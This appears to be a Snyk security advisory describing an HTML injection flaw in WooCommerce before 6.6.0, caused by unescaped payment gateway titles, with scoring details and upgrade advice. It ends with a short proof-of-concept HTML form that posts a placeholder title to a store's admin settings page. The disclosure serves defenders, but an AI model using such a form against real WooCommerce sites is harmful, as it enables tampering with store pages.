HTML Injection Affecting woocommerce/woocommerce package, versions <6.6.0


0.0
medium

Snyk CVSS

    Attack Complexity Low
    Privileges Required High
    User Interaction Required
    Scope Changed

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.06% (23rd percentile)
Expand this section
NVD
4.8 medium

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-WOOCOMMERCEWOOCOMMERCE-2958045
  • published 22 Jul 2022
  • disclosed 18 Jul 2022
  • credit Unknown

How to fix?

Upgrade woocommerce/woocommerce to version 6.6.0 or higher.

Overview

woocommerce/woocommerce is an eCommerce toolkit that helps you sell anything.

Affected versions of this package are vulnerable to HTML Injection due to lack of escaping and sanitizing in the payment gateway titles.

PoC

<html>
<form action="http://example.com/wp-admin/admin.php?page=wc-settings&tab=checkout&section=bacs" method="POST">
<input class="input-text regular-input " type="text" name="woocommerce_bacs_title" id="woocommerce_bacs_title" style="" value="HTML INJECTION" placeholder="">

<p class="submit">
    <button name="save" class="button-primary woocommerce-save-button" type="submit" value="Save changes">Save changes</button>
    <input type="hidden" id="_wpnonce" name="_wpnonce" value="bfdcc984ec"><input type="hidden" name="_wp_http_referer" value="/wp-admin/admin.php?page=wc-settings&amp;tab=checkout&amp;section=bacs">		</p>
    </form>
</html>